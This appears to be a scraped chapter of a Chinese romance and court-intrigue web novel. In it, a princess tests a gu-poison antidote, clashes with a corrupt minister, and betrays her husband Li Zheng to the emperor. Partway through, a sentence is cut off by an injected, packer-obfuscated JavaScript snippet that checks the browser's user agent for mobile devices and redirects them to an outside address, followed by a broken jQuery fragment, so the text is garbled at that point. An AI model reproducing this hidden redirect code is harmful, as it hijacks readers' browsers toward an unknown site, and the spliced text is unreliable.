24. 急转直下

作品:《郡主流放后和前夫he了

    十日后。


    城郊木屋。


    一只蛊虫从床上昏迷之人的鼻孔钻出来,摇摇晃晃地爬了几步,便倒下不动了。


    云归玉没管那只蛊虫的死活,而是紧盯着床上之人的反应。


    见他嘴唇青紫色褪去,面色逐渐恢复红润,她才轻轻勾起嘴角。


    片刻之后,那人睁开了眼睛,猛地从床上下来,眼神惊恐,往门外逃窜,被暗卫一刀了结。


    这是第八个人。


    十个人里,有八个人解毒,也就是说,她的解毒之法,成功的把握已接近八成。


    待历铮出征回来,她或许可以跟他提一提,让他一试。


    暗卫等主子在院中净了手,才上前,恭敬地呈上方才从信鸽身上取下的信筒,“主子,烟雨楼最新的情报。”


    云归玉打开信筒,发现竟是有两封信。她展开第一封,逐字看完,轻挑眉头,眼中闪过笑意。


    历铮把叛军打得毫无还手之力,又一次立下战功,看来,他很快便可以班师回朝了。


    将信纸交还给暗卫,命他销毁,才又展开第二封,她打眼一瞧,面色陡然一变,而后一把将它揉烂。


    那是一句谶语。


    ——李花将谢,王者当立。


    是“王者”,而不是“王氏”,也就是说,谶语指的不是姓王的人,而是……为王者。


    现今的王爷,有几位?除了那些宗室,便只有异姓王,忠武王。


    这句谶语,分明直指历山苍。


    自古以来的谶语,分明是怪力乱神之说,却偏总是莫名其妙地应验。


    若说之前那首无名诗可能引起帝王心头不悦,但也还不算致命,可是此般谶语,却是帝王心头大忌,极有可能让皇帝震怒!


    云归玉沉声道:“发动人手,务必把谶语相关的情报全部都拦截在京外。”


    “是。”暗卫领命而去。


    ***


    回府途中,马车行至历府附近,云归玉甫一下车,便见一身着蓝色罗绮的女子从拐角处出来。


    那女子对着云归玉一福身子,“东家。”


    是云安楼的琵琶女。


    京城酒楼,十家里面,得有三家都是云归玉的产业,云安楼便是其一。


    她给所有的掌柜都下了蛊,要她们对她绝对忠诚。可即便如此,她还是在掌柜身边安插了眼线。


    云安楼的眼线,便是这个琵琶女。


    女子上前一步,对云归玉恭敬行礼,低声说了几句话,云归玉听罢,眼神泛凉。


    云安楼出事了。


    户部尚书罗钦之子罗鸿欲强占云安楼一卖艺不卖身的箜篌女芳兰,争吵之中,将芳兰推落楼梯身亡。


    掌柜怕惹事,便叫人将尸体处理了,欲将此事草草了结,却有一位叫梅三娘的古琴女,非要到刑部评理,现在方鸿与梅三娘二人,俱在刑部。


    云归玉挥了挥手,“知道了,你回去吧。”


    “是。”


    一炷香后,云归玉带着郡主府的一众侍卫,簇簇拥拥地来到了刑部府衙,踏门而入。


    府衙众吏认得她是仪和郡主,也识得她是前任侍郎的妻子,不敢拦她,任由她轻车熟路地进了正堂。


    方至审问厅,便听到有人一拍惊堂木,厉声道:“大胆罪妇梅三娘,竟敢捏造事实做假证!来人,将她拖下去,打三十大板!”


    两个吏胥上前,架住梅三娘,便要拖下去。


    云归玉跨步而来,冷喝一声:“住手!”


    她打眼一扫,厅上高坐的,正是刑部尚书蒋镇,因此案牵扯到高官之子,便亲自审案。


    而坐在他下手第一个位子上悠闲品茶的,想来便是那杀人者罗鸿了。


    两个吏胥认出云归玉,一时拿不定主意,望向上首的蒋镇。


    蒋镇一挥手,示意他们先退下,而后堆起了一个笑容,“来人,给殿下看座上茶。”


    “郡主殿下,什么风把您吹来啦?你夫君可早就不在我这里了。”


    “坐倒不必了,”云归玉冷笑,“我是来问问蒋大人,按我大楚律法,杀人者,是否应该偿命?”


    蒋镇满脸惊讶,“殿下何出此问?”


    这是要装傻糊弄过去?


    云归玉却偏不让他糊弄过去,直接一指那优哉坐着的罗鸿,“此人杀了我云安楼的人,蒋大人明察秋毫,难道不知情么?”


    “郡主所言案情,本官俱已核实,罗公子并未杀人,此事实属意外。”蒋镇嘴角弧度不变,“倒是那梅三娘胡言乱语,污蔑罗公子,想必郡主也是听信了不知谁的谗言,才会有此误会。不过既然是郡主的人,那便免去处罚,郡主随时可以把人带走。”


    云归玉眼神极为冰冷。


    梅三娘本就无罪,蒋镇这话说的,好像还是他卖了她面子似的,真是厚颜无耻。


    “看来蒋大人今日,是要颠倒黑白到底了?”


    “郡主哪里话,本官不过凭职责办事。”被人骂颠倒黑白,蒋镇也不生气,只意味深长道,“殿下,依本官之见,您还是莫要意气用事。便是云相,也与罗尚书交情甚笃,何必要让一场意外伤了两家和气呢?我想皇后娘娘,也不愿见到殿下为了不相干的人,惹得一身腥。”


    云归玉明白,今日退步的,只能是自己。


    她一拂衣袖,转身离去,路过仍跪在地上的梅三娘时,撂下一句:“走。”


    梅三娘沉默起身,一瘸一拐地跟上。


    云归玉让梅三娘上了她的马车,要把她送回云安楼。


    一路上,云归玉沉默不语,周身泛着不愉的冷意。


    她明白了一件事。


    哪怕她已贵为郡主,很多事也无力左右。她只是个空有名号却无实权的郡主,与户部尚书相比,孰轻孰重,一目了然。


    所以,蒋镇会给吏部尚书罗钦的面子,而不会给她面子。


    是啊,若不是无实权,她又怎会差点被送去异族和亲呢?甚至需要另一桩婚姻来解围。


    权贵权贵,光有贵还不行,需得有权。


    “我看见了,您对他下了蛊。”一直安静待着的梅三娘忽然开口。


    云归玉猛地掐住了她的脖子。


    没错,方才离去时那一拂袖,便是为了对罗鸿下蛊。刑部和律法治不了他,但她也不会让他好过。


    她虽然不择手段,疑心病重,可是她的人,岂能被别人伤害而不付出代价?


    只是没想到,这女子看上去那般温婉柔弱,竟能察觉到她那般隐秘的小动作。


    而且,还知道那是蛊。


    既然如此,那便留她不得了。


    命脉被人掐住,梅三娘渐渐窒息,面色泛紫,她难以自控地扒住颈上的手,艰难吐出了几个字。


    云归玉倏然松开了手。


    梅三娘腿一软,从座位上跌下。


    “你怎么会知道这个名字?”云归玉居高临下地看着她。


    娆英。


    这是她最不想回想起的女人,苗寨大祭司的名字。


    “咳咳咳咳咳,我是、苗村出逃之女,”梅三娘大口喘息,“是你、救了、我们所有人咳咳咳……”


    云归玉眼神凉薄,“你想多了。我只是为了救我自己。”


    “论迹不论心。”梅三娘喘匀了气,露出一个微笑,眼神真诚,“哪怕只是顺带的,您也的的确确救了我们。况且今日,也是您救了我。”


    云归玉想,她该杀了她。


    那个地方的人是最不可信的,那个地方的过去也是她最不想提及的,那个地方的旧人更是她绝不想沾染的。


    为什么不杀?


    是跟历铮混久了,沾染了些不必要的仁慈吗?


    不,当初留下十一,是因为她有用处,梅三娘想要留下,也自然得有用才行。


    云归玉扔给她一个玉牌,“我会将云安楼原来的掌柜辞了,从今日起,由你来当代掌柜,以一月为期,若你能让云安楼保持命案发生前的生意,你便是新的掌柜了。”


    梅三娘大喜,连忙磕头行礼,“谢谢恩人!奴家定然不负恩人所望!”


    ***


    三日后,皇宫,云鸾殿。


    “母亲,您召我入宫,可是有什么要事?”云归玉今日心情有些烦闷,并不想在这里久待,叫皇后看出来。


    皇后嗔怪道:“若无要事,便不能找阿玉说说话了吗?”


    “我并无此意,母亲。”云归玉垂下眼睫,思索会否是为了几日前她去刑部质问蒋镇,得罪两位尚书的事情。


    谁知皇后要半点没提那件事,反而劈头盖脸来了句:“阿玉,你与历七,和离吧。”


    云归玉一怔:“什么意思?”


    皇后上前一步,牵住了云归玉的手,“母亲想了想,还是觉得让你因和亲之事被迫出嫁极为不妥,正好如今氐兰已经被忠武王击溃,北退千里,玉儿不必再担心和亲的事了。”


    云归玉皱了皱眉,“可是母亲,我已经……拿下历铮了,相信不要不了多久,就能让历铮劝服忠武王,让历家的势力为我们所用,此时放弃,岂不是前功尽弃?”


    “阿玉,你只需听母亲的劝就好,母亲不会害你的。”


    “那母亲之前为何还要让女儿以身入局,以色诱人?”云归玉有些烦躁,她总觉得自己还有什么不知道的东西,语气也带上了几分不快。


    皇后闻言,柳眉倒竖,胸口起伏,“阿玉!你怎能如此说母亲!”


    她习惯性扬起了手想要给人一巴掌,却生生止住。


    这不是宫女太监们,这是她的女儿,是大楚的仪和郡主,也是她最大的依靠。


    云归玉看到她高举的手,却更被激起了几分脾气,口不择言道:“皇后娘娘金口玉言,却如此朝令夕改,我竟不知到底该遵哪一条令。”


    话一出口,两人都愣住了。


    皇后放下了手,眸中浮现出了悲伤,似有泪光闪动,哀哀戚戚地看着她。


    云归玉顿时就后悔了。她正想说点什么来补救,却听见皇后说道:“历山苍死了。”


    云归玉有些没反应过来。


    “什么?”


    皇后收回了方才那副悲伤的表情,一字一顿地重复道:“忠武王历山苍,三日前,病死于长武城。”


    云归玉这回听清了。


    她的第一个念头是:那历铮会怎样?他会不会……很难过?


    皇后叹了口气,“现在阿玉明白,母亲为什么要你赶紧和历铮撇清关系了吧?”


    明白?


    或许吧。若是往日的她,或许能当得起这一声“明白”。


    可今日她思绪紊乱,实在无法去条分缕析地厘清各种利害关系,于是她选择求助自己的母亲,她恍惚地问:“为什么?”


    皇后眉头微蹙,“阿玉,你今日怎么这么不像你?”


    “请母亲明示。”


    “皇上要历铮死。”皇后干脆地将一切摊开来说,“历山苍死后,只有历七有可能接下他爹的担子,拢得住长武军的那一群将领,只要他也死了,那些将领必定谁也不服谁,陷入内斗,这是皇上收回兵权的最好机会。”


    “皇上已经派人给历铮去了密信,说朝廷已派神行军接回了忠武王的尸身,不日便会以亲王之礼下葬,要他速回京城。但那小子连夜急行军,方向却仍旧是长武,可见并不相信皇上的密信。”


    “阿玉,你给他写封信吧。你既说自己已拿下历铮,你的话,他或许会信。”


    最后,皇后意味深长地提醒道:“阿玉,你是本宫的女儿,本宫自然相信你与历家没什么,但是皇上却未必。你可明白?”


    云归玉怎会不明白。


    她虽是郡主,可那是因为皇后荣宠极盛,她毕竟不姓李,对于皇上来说,她终究不是自家人。


    而她嫁给了历铮,皇上要对历家下手,她又凭什么能置身事外?


    除非,她跟历家撇清关系,并且为皇上去做那把插向历铮的刀。


    从皇宫出来以后,云归玉没有回历府,而


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998029|192298||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是久违地回去了郡主府。


    她把自己关在书房枯坐,几次日升月落,最终在一个清晨,她对身旁的碧溪开口:“备车,我要进宫。”


    ***


    碧水惊秋,苍风吹叶。


    泺水河畔,梧桐树叶褪色泛黄,因为净街的缘故,平时热闹的酒楼店肆空荡无人,寂静无声。


    云归玉坐在江畔一小楼的亭中,面前放着一把琴。


    她十指翻飞,琤然的琴声响起,声调悠悠飘远,越过飞鸿桥,传过泺水对岸,又传向更远的地方。


    忽然,有杀喊声与马蹄声从远方传来,随即越来越近越来越近,与琴声交相辉映。


    云归玉垂眸,见一人持刀纵马,身后零散紧跟着几个亲卫疾驰而至,却在河畔骤然勒马。


    来人正是历铮。


    泺水之上的那座桥,已被人为地凿成了断桥。桥的对面,陈列着严阵以待、神情戒备的神行军。


    而那人身前身后围着的,则是身着金甲的京城十二卫。


    这两只卫队皆是京城禁军,一个守内城,一个守外城,如今都被派来,只为将这一人,截杀在汴水河畔,断桥之上。


    云归玉手下不停,琴声忽然变得激昂悲壮,已近尾声。


    历铮身上有血,衣服破损无数。


    虽已近强弩之末,可兵器在手,众卫兵谁也不敢轻易上前,去做那个注定失败,还可能丢命的出头鸟。


    历铮忽然抬头,望向阁楼,目光冷冽,直直锁住了云归玉。


    琴音已停,云归玉站了起来,与历铮平静对视。


    他那么聪明,想必早在入京之后,城门关上,十二卫出现的那一刻,便已想通了全部关窍。


    落入四面楚歌的境地,历铮竟是轻笑一声,“好一首《霸王卸甲》,郡主是要为我送行吗?”


    没有得到回答,他声音沙哑,眼眶通红,疲惫至极,问:“我爹的尸身,到底在哪?”


    云归玉轻轻摇头,目光竟是带上了些许同情,“不知道,也许在长武。”


    历铮惨笑一声,“你信上说我爹的尸身在京城,其实是皇帝的意思,是吗?”


    云归玉沉默了一下,没有否认。


    历铮收起了那悲哀的笑意,神情只剩冷漠,“阿宁在哪?”


    “不知道。”云归玉说着,起身拿过仆从手中捧着的弓,抽箭搭弦,对准了历铮的心口。


    历铮也抬起了弓,是她寻来送给他的“钧天”。


    或许是伤重,他向来很稳的手,此刻竟有一丝颤抖。


    云归玉与历铮同时放箭。


    她身上穿着软甲,中历铮一箭,她死不了。


    然而她没想到的是,历铮用钧天射出的那一箭,竟只削下了她一缕头发。


    云归玉放下了手中的清雪,没有射出第二支箭。


    她有些疑惑,能在十里之外射中老虎眼睛的人,准头会如此欠佳吗?


    大抵是因为受伤了吧。


    云归玉的那一箭,却正中历铮的心口。


    他身体一颤,眼神下移,看到了箭尾绑着的信纸。


    和离书。


    隔着不远不近的距离,云归玉清楚地看到了历铮那一瞬的表情。


    她闭了闭眼睛,倏然丢了手中的弓。


    被一箭射入心口,历铮仍旧没有立刻停止动作,而是持枪又杀了几个人。


    他向来喜着轻甲,而非重铠,以减轻战马负担,好能在战场上穿梭自如,也因此,这身甲衣,对他自身的保护远不及其他人。


    此时他的甲衣已被砍得破烂,云归玉看得直皱起眉。


    最后,许是终于气力衰竭,他终于被几个士兵逼到河边,退无可退。


    “逆贼历铮,还不速速束手就擒!回去向陛下请罪!”


    历铮笑了一声。


    他深深地看了云归玉一眼,而后将自己的甲衣一扯,弃若敝履般,随手扔在地上,整个人往河里一倒。


    “抓住他!”


    他身子一歪,从桥上栽下,落入泺水之中。


    “快下去找!陛下口谕,活要见人,死要见尸!”


    “会水的人先下去找,其余人,跟我去下游!”


    随着“扑通”几声,有几个人跳下了泺水。


    底下哄哄闹闹,云归玉却只盯着那被历铮扔掉的破烂不堪的甲衣。


    他为什要脱下铠甲?这个动作未免太多此一举了些。


    “把那甲衣给我拿上来,记住,要原封不动。”


    仆从听令,很快将甲衣拿了上来,双手奉上。


    云归玉打开那甲衣,果然从里面发现了一个小布包。


    她几乎是有些颤抖地打开布包,一股幽香扑鼻而来,可惜的是,那一捧干花,已沾染了浓重的血腥味。


    干花之中,一只祥云木钗躺在上面。


    一场“平叛”风波结束,云归玉因献策有功,被帝王重赏。


    她踩着历氏的枯骨,一步步手握权力,飞黄腾达,直到后来,成为真正手握大权的郡主。


    刑部尚书蒋镇,户部尚书罗钦,向她郡主府递拜帖,都得看她愿不愿收。


    渐渐地,她很少再去想起历铮,只是每逢中秋之夜,那人却总会入她梦来。


    梦里,那人身姿挺拔,手握那把钧天神兵,拉弓射箭,利箭携着千钧之力,朝着她眉心的位置袭来。


    这箭正中她眉心之时,她便就会猛然睁眼醒来,然后嗤笑一声,把这梦抛在脑后。


    已死之人,有何可俱。


    只是……云归玉愣愣地看着那马上的身影,瞳孔中映着那直直射来的弓箭。


    这一次,利箭却没有射中她的眉心,而是莫名熟悉地,擦过了她的头发。


    她听见声音,回头一看,那箭射入了身后的树干。


    随之而来的,还有一句:


    “上京城,仪和郡主?几年不见,混成这样?”


    说话的人,正是历铮。


    原来这次,并不是梦。